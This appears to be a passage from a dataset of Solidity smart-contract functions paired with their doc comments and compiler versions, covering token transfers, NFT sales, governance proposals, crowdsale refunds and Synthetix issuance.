Forces owner check & collectibleId check\r\n * @notice Helps a wallet to create a sale using our Sale Contract\r\n * @param _tokenId The token identifier\r\n * @param _startingPrice The starting price\r\n * @param _endingPrice The ending price\r\n * @param _duration The duration\r\n */", "function_code": "function initiateCreateSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration) external {\r\n require (_tokenId != 0);\r\n \r\n // If DodgersNFT is already on any sale, this will throw\r\n // because it will be owned by the sale contract.\r\n address owner = ownerOf(_tokenId);\r\n require (owner == msg.sender);\r\n\r\n // Sale contract checks input sizes\r\n require (_startingPrice == _startingPrice);\r\n require (_endingPrice == _endingPrice);\r\n require (_duration == _duration);\r\n\r\n require (checkIsAttached(_tokenId) == 0);\r\n \r\n // One time approval for the tokenID\r\n _approveForSale(msg.sender, address(saleManagerAddress), _tokenId);\r\n\r\n saleManagerAddress.createSale(_tokenId, _startingPrice, _endingPrice, _duration, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Facilitates batch auction of collectibles, and enforeces strict checking on the collectibleId,starting/ending price, duration.\r\n * @notice Batch function to put 10 or less collectibles on sale\r\n * @param _tokenIds The token identifier\r\n * @param _startingPrices The starting price\r\n * @param _endingPrices The ending price\r\n * @param _durations The duration\r\n */", "function_code": "function batchCreateAssetSale(uint256[] _tokenIds, uint256[] _startingPrices, uint256[] _endingPrices, uint256[] _durations) external whenNotPaused {\r\n\r\n require (_tokenIds.length > 0 && _startingPrices.length > 0 && _endingPrices.length > 0 && _durations.length > 0);\r\n \r\n // Sale contract checks input sizes\r\n for(uint ii = 0; ii < _tokenIds.length; ii++){\r\n\r\n // Do not process for tokenId 0\r\n require (_tokenIds[ii] != 0);\r\n \r\n require (_startingPrices[ii] == _startingPrices[ii]);\r\n require (_endingPrices[ii] == _endingPrices[ii]);\r\n require (_durations[ii] == _durations[ii]);\r\n\r\n // If DodgersNFT is already on any sale, this will throw\r\n // because it will be owned by the sale contract.\r\n address _owner = ownerOf(_tokenIds[ii]);\r\n address _msgSender = msg.sender;\r\n require (_owner == _msgSender);\r\n\r\n // Check whether the collectible is inPlay. If inPlay cant put it on Sale\r\n require (checkIsAttached(_tokenIds[ii]) == 0);\r\n \r\n // approve token to for Sale creation\r\n _approveForSale(msg.sender, address(saleManagerAddress), _tokenIds[ii]);\r\n \r\n saleManagerAddress.createSale(_tokenIds[ii], _startingPrices[ii], _endingPrices[ii], _durations[ii], msg.sender);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Tests for uppercase characters in a given string", "function_code": "function allLower(string memory _string) internal pure returns (bool) {\r\n bytes memory bytesString = bytes(_string);\r\n for (uint i = 0; i < bytesString.length; i++) {\r\n if ((bytesString[i] >= 65) && (bytesString[i] <= 90)) { // Uppercase characters\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// Allows the Hydro API to delete official users iff they've signed keccak256(\"Delete\") with their private key", "function_code": "function deleteUserForUser(string userName, uint8 v, bytes32 r, bytes32 s) public onlyOwner {\r\n bytes32 userNameHash = keccak256(userName);\r\n require(userNameHashTaken(userNameHash));\r\n address userAddress = userDirectory[userNameHash].userAddress;\r\n require(isSigned(userAddress, keccak256(\"Delete\"), v, r, s));\r\n\r\n delete userDirectory[userNameHash];\r\n\r\n emit UserDeleted(userName, userAddress, true);\r\n }", "version": "0.4.21"} {"comment": "// Allows anyone to sign up as an unofficial application", "function_code": "function unofficialApplicationSignUp(string applicationName) public payable {\r\n require(bytes(applicationName).length < 100);\r\n require(msg.value >= unofficialApplicationSignUpFee);\r\n require(applicationName.allLower());\r\n\r\n HydroToken hydro = HydroToken(hydroTokenAddress);\r\n uint256 hydroBalance = hydro.balanceOf(msg.sender);\r\n require(hydroBalance >= hydroStakingMinimum);\r\n\r\n bytes32 applicationNameHash = keccak256(applicationName);\r\n require(!applicationNameHashTaken(applicationNameHash, false));\r\n unofficialApplicationDirectory[applicationNameHash] = Application(applicationName, false, true);\r\n\r\n emit ApplicationSignUp(applicationName, false);\r\n }", "version": "0.4.21"} {"comment": "/// @dev Mints a new token.\n/// @param _to Address of token owner.", "function_code": "function mint(address _to) minterOnly returns (bool success) {\r\n // ensure that the token owner doesn't already own a token.\r\n if (balances[_to] != 0x0) return false;\r\n\r\n balances[_to] = 1;\r\n\r\n // log the minting of this token.\r\n Mint(_to);\r\n Transfer(0x0, _to, 1);\r\n TokenEventLib._Transfer(0x0, _to);\r\n\r\n // increase the supply.\r\n numTokens += 1;\r\n\r\n return true;\r\n }", "version": "0.4.8"} {"comment": "// @dev Mint many new tokens", "function_code": "function mint(address[] _to) minterOnly returns (bool success) {\r\n for(uint i = 0; i < _to.length; i++) {\r\n if(balances[_to[i]] != 0x0) return false;\r\n balances[_to[i]] = 1;\r\n Mint(_to[i]);\r\n Transfer(0x0, _to[i], 1);\r\n TokenEventLib._Transfer(0x0, _to[i]);\r\n }\r\n numTokens += _to.length;\r\n return true;\r\n }", "version": "0.4.8"} {"comment": "/// @dev Transfers sender token to given address. Returns success.\n/// @param _to Address of new token owner.\n/// @param _value Bytes32 id of the token to transfer.", "function_code": "function transfer(address _to,\r\n uint256 _value) public returns (bool success) {\r\n if (_value != 1) {\r\n // 1 is the only value that makes any sense here.\r\n return false;\r\n } else if (_to == 0x0) {\r\n // cannot transfer to the null address.\r\n return false;\r\n } else if (balances[msg.sender] == 0x0) {\r\n // msg.sender is not a token owner\r\n return false;\r\n } else if (balances[_to] != 0x0) {\r\n // cannot transfer to an address that already owns a token.\r\n return false;\r\n }\r\n\r\n balances[msg.sender] = 0;\r\n balances[_to] = 1;\r\n Transfer(msg.sender, _to, 1);\r\n TokenEventLib._Transfer(msg.sender, _to);\r\n\r\n return true;\r\n }", "version": "0.4.8"} {"comment": "/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success.\n/// @param _from Address of token owner.\n/// @param _to Address of new token owner.\n/// @param _value Bytes32 id of the token to transfer.", "function_code": "function transferFrom(address _from,\r\n address _to,\r\n uint256 _value) public returns (bool success) {\r\n if (_value != 1) {\r\n // Cannot transfer anything other than 1 token.\r\n return false;\r\n } else if (_to == 0x0) {\r\n // Cannot transfer to the null address\r\n return false;\r\n } else if (balances[_from] == 0x0) {\r\n // Cannot transfer if _from is not a token owner\r\n return false;\r\n } else if (balances[_to] != 0x0) {\r\n // Cannot transfer to an existing token owner\r\n return false;\r\n } else if (approvals[_from][msg.sender] == 0) {\r\n // The approved token doesn't match the token being transferred.\r\n return false;\r\n }\r\n\r\n // null out the approval\r\n approvals[_from][msg.sender] = 0x0;\r\n\r\n // remove the token from the sender.\r\n balances[_from] = 0;\r\n\r\n // assign the token to the new owner\r\n balances[_to] = 1;\r\n\r\n // log the transfer\r\n Transfer(_from, _to, 1);\r\n TokenEventLib._Transfer(_from, _to);\r\n\r\n return true;\r\n }", "version": "0.4.8"} {"comment": "/// @dev Sets approval spender to transfer ownership of token. Returns success.\n/// @param _spender Address of spender..\n/// @param _value Bytes32 id of token that can be spend.", "function_code": "function approve(address _spender,\r\n uint256 _value) public returns (bool success) {\r\n if (_value != 1) {\r\n // cannot approve any value other than 1\r\n return false;\r\n } else if (_spender == 0x0) {\r\n // cannot approve the null address as a spender.\r\n return false;\r\n } else if (balances[msg.sender] == 0x0) {\r\n // cannot approve if not a token owner.\r\n return false;\r\n }\r\n\r\n approvals[msg.sender][_spender] = 1;\r\n\r\n Approval(msg.sender, _spender, 1);\r\n TokenEventLib._Approval(msg.sender, _spender);\r\n\r\n return true;\r\n }", "version": "0.4.8"} {"comment": "// This function is for dev address migrate all balance to a multi sig address", "function_code": "function transferAll(address _to) public {\r\n _locks[_to] = _locks[_to].add(_locks[msg.sender]);\r\n\r\n if (_lastUnlockBlock[_to] < lockFromBlock) {\r\n _lastUnlockBlock[_to] = lockFromBlock;\r\n }\r\n\r\n if (_lastUnlockBlock[_to] < _lastUnlockBlock[msg.sender]) {\r\n _lastUnlockBlock[_to] = _lastUnlockBlock[msg.sender];\r\n }\r\n\r\n _locks[msg.sender] = 0;\r\n _lastUnlockBlock[msg.sender] = 0;\r\n\r\n _transfer(msg.sender, _to, balanceOf(msg.sender));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice function to propose\r\n *\r\n * @param targets - array of address\r\n * @param values - array of values\r\n * @param signatures - array of signatures\r\n * @param calldatas - array of data\r\n * @param description - array of descriptions\r\n *\r\n * @return id of proposal\r\n */", "function_code": "function propose(\r\n address[] memory targets,\r\n uint[] memory values,\r\n string[] memory signatures,\r\n bytes[] memory calldatas,\r\n string memory description\r\n )\r\n external\r\n onlyMember\r\n returns (uint)\r\n {\r\n require(\r\n targets.length == values.length &&\r\n targets.length == signatures.length &&\r\n targets.length == calldatas.length,\r\n \"TokensFarmCongress::propose: proposal function information arity mismatch\"\r\n );\r\n\r\n require(targets.length != 0, \"TokensFarmCongress::propose: must provide actions\");\r\n\r\n proposalCount++;\r\n\r\n Proposal memory newProposal = Proposal({\r\n id: proposalCount,\r\n proposer: msg.sender,\r\n targets: targets,\r\n values: values,\r\n signatures: signatures,\r\n calldatas: calldatas,\r\n forVotes: 0,\r\n againstVotes: 0,\r\n canceled: false,\r\n executed: false,\r\n timestamp: block.timestamp\r\n });\r\n\r\n proposals[newProposal.id] = newProposal;\r\n\r\n emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, description);\r\n return newProposal.id;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice function to execute on what is voted\r\n *\r\n * @param proposalId - id of proposal\r\n */", "function_code": "function execute(\r\n uint proposalId\r\n )\r\n external\r\n onlyMember\r\n payable\r\n {\r\n // load the proposal\r\n Proposal storage proposal = proposals[proposalId];\r\n // Require that proposal is not previously executed neither cancelled\r\n require(!proposal.executed && !proposal.canceled, \"Proposal was canceled or executed\");\r\n // Mark that proposal is executed\r\n proposal.executed = true;\r\n // Require that votes in favor of proposal are greater or equal to minimalQuorum\r\n require(proposal.forVotes >= membersRegistry.getMinimalQuorum(), \"Not enough votes in favor\");\r\n\r\n for (uint i = 0; i < proposal.targets.length; i++) {\r\n bytes memory callData;\r\n\r\n if (bytes(proposal.signatures[i]).length == 0) {\r\n callData = proposal.calldatas[i];\r\n } else {\r\n callData = abi.encodePacked(\r\n bytes4(keccak256(bytes(proposal.signatures[i]))),\r\n proposal.calldatas[i]\r\n );\r\n }\r\n\r\n // solium-disable-next-line security/no-call-value\r\n (bool success,) = proposal.targets[i].call{value:proposal.values[i]}(callData);\r\n\r\n // Require that transaction went through\r\n require(\r\n success,\r\n \"TokensFarmCongress::executeTransaction: Transaction execution reverted.\"\r\n );\r\n\r\n // Emit event that transaction is being executed\r\n emit ExecuteTransaction(\r\n proposal.targets[i],\r\n proposal.values[i],\r\n proposal.signatures[i],\r\n proposal.calldatas[i]\r\n );\r\n }\r\n\r\n // Emit event that proposal executed\r\n emit ProposalExecuted(proposalId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice function to cancel proposal\r\n *\r\n * @param proposalId - id of proposal\r\n */", "function_code": "function cancel(\r\n uint proposalId\r\n )\r\n external\r\n onlyMember\r\n {\r\n Proposal storage proposal = proposals[proposalId];\r\n // Require that proposal is not previously executed neither cancelled\r\n require(!proposal.executed && !proposal.canceled, \"TokensFarmCongress:cancel: Proposal already executed or canceled\");\r\n // 3 days after proposal can get cancelled\r\n require(block.timestamp >= proposal.timestamp + 259200, \"TokensFarmCongress:cancel: Time lock hasn't ended yet\");\r\n // Proposal with reached minimalQuorum cant be cancelled\r\n require(proposal.forVotes < membersRegistry.getMinimalQuorum(), \"TokensFarmCongress:cancel: Proposal already reached quorum\");\r\n // Set that proposal is cancelled\r\n proposal.canceled = true;\r\n // Emit event\r\n emit ProposalCanceled(proposalId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice function to see what was voted on\r\n *\r\n * @param proposalId - id proposal\r\n *\r\n * @return targets\r\n * @return values\r\n * @return signatures\r\n * @return calldatas\r\n */", "function_code": "function getActions(\r\n uint proposalId\r\n )\r\n external\r\n view\r\n returns (\r\n address[] memory targets,\r\n uint[] memory values,\r\n string[] memory signatures,\r\n bytes[] memory calldatas\r\n )\r\n {\r\n Proposal storage p = proposals[proposalId];\r\n return (p.targets, p.values, p.signatures, p.calldatas);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t * @dev Return purchase receipt info at a given ID\r\n \t * @param _purchaseReceiptId The ID of the purchased content\r\n \t * @return The ID of the content host\r\n \t * @return The ID of the staked content\r\n \t * @return The ID of the content\r\n \t * @return address of the buyer\r\n \t * @return price of the content\r\n \t * @return amount paid by AO\r\n \t * @return amount paid by Buyer\r\n \t * @return request node's public key\r\n \t * @return request node's public address\r\n \t * @return created on timestamp\r\n \t */", "function_code": "function getById(bytes32 _purchaseReceiptId) external view returns (bytes32, bytes32, bytes32, address, uint256, uint256, uint256, string memory, address, uint256) {\r\n\t\t// Make sure the purchase receipt exist\r\n\t\trequire (this.isExist(_purchaseReceiptId));\r\n\t\tPurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseReceiptId]];\r\n\t\treturn (\r\n\t\t\t_purchaseReceipt.contentHostId,\r\n\t\t\t_purchaseReceipt.stakedContentId,\r\n\t\t\t_purchaseReceipt.contentId,\r\n\t\t\t_purchaseReceipt.buyer,\r\n\t\t\t_purchaseReceipt.price,\r\n\t\t\t_purchaseReceipt.amountPaidByBuyer,\r\n\t\t\t_purchaseReceipt.amountPaidByAO,\r\n\t\t\t_purchaseReceipt.publicKey,\r\n\t\t\t_purchaseReceipt.publicAddress,\r\n\t\t\t_purchaseReceipt.createdOnTimestamp\r\n\t\t);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Check whether or not the passed params valid\r\n \t * @param _buyer The address of the buyer\r\n \t * @param _contentHostId The ID of hosted content\r\n \t * @param _publicKey The public key of the request node\r\n \t * @param _publicAddress The public address of the request node\r\n \t * @return true if yes, false otherwise\r\n \t */", "function_code": "function _canBuy(address _buyer,\r\n\t\tbytes32 _contentHostId,\r\n\t\tstring memory _publicKey,\r\n\t\taddress _publicAddress\r\n\t) internal view returns (bool) {\r\n\t\t(bytes32 _stakedContentId,,address _host,,) = _aoContentHost.getById(_contentHostId);\r\n\r\n\t\t// Make sure the content host exist\r\n\t\treturn (_aoContentHost.isExist(_contentHostId) &&\r\n\t\t\t_buyer != address(0) &&\r\n\t\t\t_buyer != _host &&\r\n\t\t\tAOLibrary.isName(_buyer) &&\r\n\t\t\tbytes(_publicKey).length > 0 &&\r\n\t\t\t_publicAddress != address(0) &&\r\n\t\t\t_aoStakedContent.isActive(_stakedContentId) &&\r\n\t\t\tbuyerPurchaseReceipts[_buyer][_contentHostId][0] == 0\r\n\t\t);\r\n\t}", "version": "0.5.4"} {"comment": "// Constructor function sets the BCDC Multisig address and\n// total number of locked tokens to transfer", "function_code": "function BCDCVault(address _bcdcMultisig,uint256 _numBlocksLockedForDev,uint256 _numBlocksLockedForFounders) {\r\n // If it's not bcdcMultisig address then throw\r\n if (_bcdcMultisig == 0x0) throw;\r\n // Initalized bcdcToken\r\n bcdcToken = BCDCToken(msg.sender);\r\n // Initalized bcdcMultisig address\r\n bcdcMultisig = _bcdcMultisig;\r\n // Mark it as BCDCVault\r\n isBCDCVault = true;\r\n //Initalized numBlocksLockedDev and numBlocksLockedFounders with block number\r\n numBlocksLockedDev = _numBlocksLockedForDev;\r\n numBlocksLockedFounders = _numBlocksLockedForFounders;\r\n // Initalized unlockedBlockForDev with block number\r\n // according to current block\r\n unlockedBlockForDev = safeAdd(block.number, numBlocksLockedDev); // 30 days of blocks later\r\n // Initalized unlockedBlockForFounders with block number\r\n // according to current block\r\n unlockedBlockForFounders = safeAdd(block.number, numBlocksLockedFounders); // 365 days of blocks later\r\n }", "version": "0.4.18"} {"comment": "// Transfer Development Team Tokens To MultiSigWallet - 30 Days Locked", "function_code": "function unlockForDevelopment() external {\r\n // If it has not reached 30 days mark do not transfer\r\n if (block.number < unlockedBlockForDev) throw;\r\n // If it is already unlocked then do not allowed\r\n if (unlockedAllTokensForDev) throw;\r\n // Mark it as unlocked\r\n unlockedAllTokensForDev = true;\r\n // Will fail if allocation (and therefore toTransfer) is 0.\r\n uint256 totalBalance = bcdcToken.balanceOf(this);\r\n // transfer half of token to development team\r\n uint256 developmentTokens = safeDiv(safeMul(totalBalance, 50), 100);\r\n if (!bcdcToken.transfer(bcdcMultisig, developmentTokens)) throw;\r\n }", "version": "0.4.18"} {"comment": "// Transfer Founders Team Tokens To MultiSigWallet - 365 Days Locked", "function_code": "function unlockForFounders() external {\r\n // If it has not reached 365 days mark do not transfer\r\n if (block.number < unlockedBlockForFounders) throw;\r\n // If it is already unlocked then do not allowed\r\n if (unlockedAllTokensForFounders) throw;\r\n // Mark it as unlocked\r\n unlockedAllTokensForFounders = true;\r\n // Will fail if allocation (and therefore toTransfer) is 0.\r\n if (!bcdcToken.transfer(bcdcMultisig, bcdcToken.balanceOf(this))) throw;\r\n // So that ether will not be trapped here.\r\n if (!bcdcMultisig.send(this.balance)) throw;\r\n }", "version": "0.4.18"} {"comment": "// Transfer `value` BCDC tokens from sender's account\n// `msg.sender` to provided account address `to`.\n// @dev Required state: Success\n// @param to The address of the recipient\n// @param value The number of BCDC tokens to transfer\n// @return Whether the transfer was successful or not", "function_code": "function transfer(address to, uint value) returns (bool ok) {\r\n if (getState() != State.Success) throw; // Abort if crowdfunding was not a success.\r\n uint256 senderBalance = balances[msg.sender];\r\n if ( senderBalance >= value && value > 0) {\r\n senderBalance = safeSub(senderBalance, value);\r\n balances[msg.sender] = senderBalance;\r\n balances[to] = safeAdd(balances[to], value);\r\n Transfer(msg.sender, to, value);\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.18"} {"comment": "// Sale of the tokens. Investors can call this method to invest into BCDC Tokens\n// Only when it's in funding mode. In case of emergecy it will be halted.", "function_code": "function() payable stopIfHalted external {\r\n // Allow only to invest in funding state\r\n if (getState() != State.Funding) throw;\r\n\r\n // Sorry !! We do not allow to invest with 0 as value\r\n if (msg.value == 0) throw;\r\n\r\n // multiply by exchange rate to get newly created token amount\r\n uint256 createdTokens = safeMul(msg.value, tokensPerEther);\r\n\r\n // Wait we crossed maximum token sale goal. It's successful token sale !!\r\n if (safeAdd(createdTokens, totalSupply) > tokenSaleMax) throw;\r\n\r\n // Call to Internal function to assign tokens\r\n assignTokens(msg.sender, createdTokens);\r\n\r\n // Track the investment for each address till crowdsale ends\r\n investment[msg.sender] = safeAdd(investment[msg.sender], msg.value);\r\n }", "version": "0.4.18"} {"comment": "// To allocate tokens to Project Fund - eg. RecycleToCoin before Token Sale\n// Tokens allocated to these will not be count in totalSupply till the Token Sale Success and Finalized in finalizeCrowdfunding()", "function_code": "function preAllocation() onlyOwner stopIfHalted external {\r\n // Allow only in Pre Funding Mode\r\n if (getState() != State.PreFunding) throw;\r\n // Check if BCDC Reserve Fund is set or not\r\n if (bcdcReserveFund == 0x0) throw;\r\n // To prevent multiple call by mistake\r\n if (preallocated) throw;\r\n preallocated = true;\r\n // 25% of overall Token Supply to project reseve fund\r\n uint256 projectTokens = safeDiv(safeMul(maxTokenSupply, reservedPercentTotal), 100);\r\n // At this time we will not add to totalSupply because these are not part of Sale\r\n // It will be added in totalSupply once the Token Sale is Finalized\r\n balances[bcdcReserveFund] = projectTokens;\r\n // Log the event\r\n Transfer(0, bcdcReserveFund, projectTokens);\r\n }", "version": "0.4.18"} {"comment": "// BCDC accepts Early Investment through manual process in Fiat Currency\n// BCDC Team will assign the tokens to investors manually through this function", "function_code": "function earlyInvestment(address earlyInvestor, uint256 assignedTokens) onlyOwner stopIfHalted external {\r\n // Allow only in Pre Funding Mode And Funding Mode\r\n if (getState() != State.PreFunding && getState() != State.Funding) throw;\r\n // Check if earlyInvestor address is set or not\r\n if (earlyInvestor == 0x0) throw;\r\n // By mistake tokens mentioned as 0, save the cost of assigning tokens.\r\n if (assignedTokens == 0 ) throw;\r\n\r\n // Call to Internal function to assign tokens\r\n assignTokens(earlyInvestor, assignedTokens);\r\n\r\n // Track the investment for each address\r\n // Refund for this investor is taken care by out side the contract.because they are investing in their fiat currency\r\n //investment[earlyInvestor] = safeAdd(investment[earlyInvestor], etherValue);\r\n }", "version": "0.4.18"} {"comment": "// Function will transfer the tokens to investor's address\n// Common function code for Early Investor and Crowdsale Investor", "function_code": "function assignTokens(address investor, uint256 tokens) internal {\r\n // Creating tokens and increasing the totalSupply\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n\r\n // Assign new tokens to the sender\r\n balances[investor] = safeAdd(balances[investor], tokens);\r\n\r\n // Finally token created for sender, log the creation event\r\n Transfer(0, investor, tokens);\r\n }", "version": "0.4.18"} {"comment": "// Call this function to get the refund of investment done during Crowdsale\n// Refund can be done only when Min Goal has not reached and Crowdsale is over", "function_code": "function refund() external {\r\n // Abort if not in Funding Failure state.\r\n if (getState() != State.Failure) throw;\r\n\r\n uint256 bcdcValue = balances[msg.sender];\r\n if (bcdcValue == 0) throw;\r\n balances[msg.sender] = 0;\r\n totalSupply = safeSub(totalSupply, bcdcValue);\r\n\r\n uint256 ethValue = investment[msg.sender];\r\n investment[msg.sender] = 0;\r\n Refund(msg.sender, ethValue);\r\n if (!msg.sender.send(ethValue)) throw;\r\n }", "version": "0.4.18"} {"comment": "// This will return the current state of Token Sale\n// Read only method so no transaction fees", "function_code": "function getState() public constant returns (State){\r\n if (block.number < fundingStartBlock) return State.PreFunding;\r\n else if (block.number <= fundingEndBlock && totalSupply < tokenSaleMax) return State.Funding;\r\n else if (totalSupply >= tokenSaleMin || upgradeAgentStatus) return State.Success;\r\n else return State.Failure;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Upgrade tokens to the new token contract.\n/// @dev Required state: Success\n/// @param value The number of tokens to upgrade", "function_code": "function upgrade(uint256 value) external {\r\n if (!upgradeAgentStatus) throw;\r\n /*if (getState() != State.Success) throw; // Abort if not in Success state.*/\r\n if (upgradeAgent.owner() == 0x0) throw; // need a real upgradeAgent address\r\n if (finalizedUpgrade) throw; // cannot upgrade if finalized\r\n\r\n // Validate input value.\r\n if (value == 0) throw;\r\n if (value > balances[msg.sender]) throw;\r\n\r\n // update the balances here first before calling out (reentrancy)\r\n balances[msg.sender] = safeSub(balances[msg.sender], value);\r\n totalSupply = safeSub(totalSupply, value);\r\n totalUpgraded = safeAdd(totalUpgraded, value);\r\n upgradeAgent.upgradeFrom(msg.sender, value);\r\n Upgrade(msg.sender, upgradeAgent, value);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Set address of upgrade target contract and enable upgrade\n/// process.\n/// @dev Required state: Success\n/// @param agent The address of the UpgradeAgent contract", "function_code": "function setUpgradeAgent(address agent) external {\r\n if (getState() != State.Success) throw; // Abort if not in Success state.\r\n if (agent == 0x0) throw; // don't set agent to nothing\r\n if (msg.sender != upgradeMaster) throw; // Only a master can designate the next agent\r\n upgradeAgent = UpgradeAgent(agent);\r\n if (!upgradeAgent.isUpgradeAgent()) throw;\r\n // this needs to be called in success condition to guarantee the invariant is true\r\n upgradeAgentStatus = true;\r\n upgradeAgent.setOriginalSupply();\r\n UpgradeAgentSet(upgradeAgent);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Set address of upgrade target contract and enable upgrade\n/// process.\n/// @dev Required state: Success\n/// @param master The address that will manage upgrades, not the upgradeAgent contract address", "function_code": "function setUpgradeMaster(address master) external {\r\n if (getState() != State.Success) throw; // Abort if not in Success state.\r\n if (master == 0x0) throw;\r\n if (msg.sender != upgradeMaster) throw; // Only a master can designate the next master\r\n upgradeMaster = master;\r\n }", "version": "0.4.18"} {"comment": "// This method is only use for transfer bcdctoken from bcdcReserveFund\n// @dev Required state: is bcdcReserveFund set\n// @param to The address of the recipient\n// @param value The number of BCDC tokens to transfer\n// @return Whether the transfer was successful or not", "function_code": "function reserveTokenClaim(address claimAddress,uint256 token) onlyBcdcReserve returns (bool ok){\r\n // Check if BCDC Reserve Fund is set or not\r\n if ( bcdcReserveFund == 0x0) throw;\r\n uint256 senderBalance = balances[msg.sender];\r\n if(senderBalance >= token && token>0){\r\n senderBalance = safeSub(senderBalance, token);\r\n balances[msg.sender] = senderBalance;\r\n balances[claimAddress] = safeAdd(balances[claimAddress], token);\r\n Transfer(msg.sender, claimAddress, token);\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.18"} {"comment": "// This method is for getting bcdctoken as rewards\n// @param tokens The number of tokens back for rewards", "function_code": "function backTokenForRewards(uint256 tokens) external{\r\n \t\t// Check that token available for transfer\r\n \t\tif(balances[msg.sender] < tokens && tokens <= 0) throw;\r\n\r\n \t\t// Debit tokens from msg.sender\r\n \t\tbalances[msg.sender] = safeSub(balances[msg.sender], tokens);\r\n\r\n \t\t// Credit tokens into bcdcReserveFund\r\n \t\tbalances[bcdcReserveFund] = safeAdd(balances[bcdcReserveFund], tokens);\r\n \t\tTransfer(msg.sender, bcdcReserveFund, tokens);\r\n \t}", "version": "0.4.18"} {"comment": "// Return the current schedule based on the timestamp\n// applicable based on startPeriod and endPeriod", "function_code": "function getCurrentSchedule()\n public\n view\n returns (uint)\n {\n require(now <= schedules[6].endPeriod, \"Mintable periods have ended\");\n\n for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) {\n if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) {\n return i;\n }\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Update the Synthetix Drawing Rights exchange rate based on other rates already updated.\n */", "function_code": "function updateXDRRate(uint timeSent)\n internal\n {\n uint total = 0;\n\n for (uint i = 0; i < xdrParticipants.length; i++) {\n total = rates(xdrParticipants[i]).add(total);\n }\n\n // Set the rate and update time\n _setRate(\"XDR\", total, timeSent);\n\n // Emit our updated event separate to the others to save\n // moving data around between arrays.\n bytes32[] memory eventCurrencyCode = new bytes32[](1);\n eventCurrencyCode[0] = \"XDR\";\n\n uint[] memory eventRate = new uint[](1);\n eventRate[0] = rates(\"XDR\");\n\n emit RatesUpdated(eventCurrencyCode, eventRate);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Retrieve the last update time for a specific currency\n */", "function_code": "function lastRateUpdateTimesForCurrencies(bytes32[] currencyKeys)\n public\n view\n returns (uint[])\n {\n uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);\n\n for (uint i = 0; i < currencyKeys.length; i++) {\n lastUpdateTimes[i] = lastRateUpdateTimes(currencyKeys[i]);\n }\n\n return lastUpdateTimes;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice ERC223 transferFrom function\n */", "function_code": "function transferFrom(address from, address to, uint value, bytes data)\n public\n optionalProxy\n returns (bool)\n {\n require(from != 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef, \"The fee address is not allowed\");\n\n // Skip allowance update in case of infinite allowance\n if (tokenState.allowance(from, messageSender) != uint(-1)) {\n // Reduce the allowance by the amount we're transferring.\n // The safeSub call will handle an insufficient allowance.\n tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));\n }\n\n return super._internalTransfer(from, to, value, data);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice ERC223 transfer function. Does not conform with the ERC223 spec, as:\n * - Transaction doesn't revert if the recipient doesn't implement tokenFallback()\n * - Emits a standard ERC20 event without the bytes data parameter so as not to confuse\n * tooling such as Etherscan.\n */", "function_code": "function transfer(address to, uint value, bytes data)\n public\n optionalProxy\n returns (bool)\n {\n // Ensure they're not trying to exceed their locked amount\n require(value <= transferableSynthetix(messageSender), \"Insufficient balance\");\n\n // Perform the transfer: if there is a problem an exception will be thrown in this call.\n _transfer_byProxy(messageSender, to, value, data);\n\n return true;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Issue synths against the sender's SNX.\n * @dev Issuance is only allowed if the synthetix price isn't stale. Amount should be larger than 0.\n * @param currencyKey The currency you wish to issue synths in, for example sUSD or sAUD\n * @param amount The amount of synths you wish to issue with a base of UNIT\n */", "function_code": "function issueSynths(bytes32 currencyKey, uint amount)\n public\n optionalProxy\n // No need to check if price is stale, as it is checked in issuableSynths.\n {\n require(amount <= remainingIssuableSynths(messageSender, currencyKey), \"Amount too large\");\n\n // Keep track of the debt they're about to create\n _addToDebtRegister(currencyKey, amount);\n\n // Create their synths\n synths[currencyKey].issue(messageSender, amount);\n\n // Store their locked SNX amount to determine their fee % for the period\n _appendAccountIssuanceRecord();\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Issue the maximum amount of Synths possible against the sender's SNX.\n * @dev Issuance is only allowed if the synthetix price isn't stale.\n * @param currencyKey The currency you wish to issue synths in, for example sUSD or sAUD\n */", "function_code": "function issueMaxSynths(bytes32 currencyKey)\n external\n optionalProxy\n {\n // Figure out the maximum we can issue in that currency\n uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);\n\n // Keep track of the debt they're about to create\n _addToDebtRegister(currencyKey, maxIssuable);\n\n // Create their synths\n synths[currencyKey].issue(messageSender, maxIssuable);\n\n // Store their locked SNX amount to determine their fee % for the period\n _appendAccountIssuanceRecord();\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Burn synths to clear issued synths/free SNX.\n * @param currencyKey The currency you're specifying to burn\n * @param amount The amount (in UNIT base) you wish to burn\n * @dev The amount to burn is debased to XDR's\n */", "function_code": "function burnSynths(bytes32 currencyKey, uint amount)\n external\n optionalProxy\n // No need to check for stale rates as effectiveValue checks rates\n {\n // How much debt do they have?\n uint debtToRemove = effectiveValue(currencyKey, amount, \"XDR\");\n uint existingDebt = debtBalanceOf(messageSender, \"XDR\");\n \n uint debtInCurrencyKey = debtBalanceOf(messageSender, 